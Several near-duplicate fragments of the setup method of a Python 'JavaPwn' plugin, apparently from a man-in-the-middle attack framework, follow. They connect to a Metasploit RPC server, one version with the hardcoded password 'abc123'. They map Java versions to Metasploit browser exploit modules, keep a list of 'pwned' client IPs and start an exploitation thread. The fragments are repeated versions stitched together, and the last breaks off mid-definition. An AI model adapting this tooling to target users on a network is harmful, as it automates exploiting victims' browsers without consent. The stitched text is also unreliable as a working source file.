def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.msfip = options.msfip self.msfport = options.msfport self.rpcip = options.rpcip if not self.msfip: sys.exit('[-] JavaPwn plugin requires --msfip') #Correlates java versions with their relative exploits self.javaVersionDic = {1.702: "java_atomicreferencearray", 1.704: "java_verifier_field_access", 1.706: "java_jre17_exec", 1.707: "java_jre17_jaxws"} #add your exploits here converting the max affected java version to a float (e.g. java version 1.7.05 => 1.705) self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit try: msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', 'abc123') version = msf.call('core.version')['version'] print "[*] Succesfully connected to Metasploit v%s" % version except: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and ran 'load msgrpc Pass=abc123'") #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.msfip = options.msfip self.msfport = options.msfport self.rpcip = options.rpcip self.rpcpass = options.rpcpass self.javapwncfg = options.javapwncfg or './config_files/javapwn.cfg' if not self.msfip: sys.exit('[-] JavaPwn plugin requires --msfip') self.javacfg = ConfigObj(self.javapwncfg) self.javaVersionDic = {} for key, value in self.javacfg.iteritems(): self.javaVersionDic[float(key)] = value self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit try: msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] print "[*] Successfully connected to Metasploit v%s" % version except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread
def initialize(self, options): self.options = options self.msfip = SystemConfig.getIP(options.interface) self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) msfversion = Msf().version() self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
msfcfg = options.configfile['MITMf']['Metasploit'] except Exception, e: sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) try: self.javacfg = options.configfile['JavaPwn'] except Exception, e: sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) self.msfport = msfcfg['msfport'] self.rpcip = msfcfg['rpcip'] self.rpcpass = msfcfg['rpcpass'] #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) self.black_ips = [] try: msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] self.tree_output.append("Connected to Metasploit v%s" % version) except Exception: sys.exit( "[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server" ) t = threading.Thread(name='pwn', target=self.pwn, args=(msf, )) t.setDaemon(True)
try: msfcfg = options.configfile['MITMf']['Metasploit'] except Exception, e: sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) try: self.javacfg = options.configfile['JavaPwn'] except Exception, e: sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) self.msfport = msfcfg['msfport'] self.rpcip = msfcfg['rpcip'] self.rpcpass = msfcfg['rpcpass'] #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) self.black_ips = [] try: msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] self.tree_output.append("Connected to Metasploit v%s" % version) except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)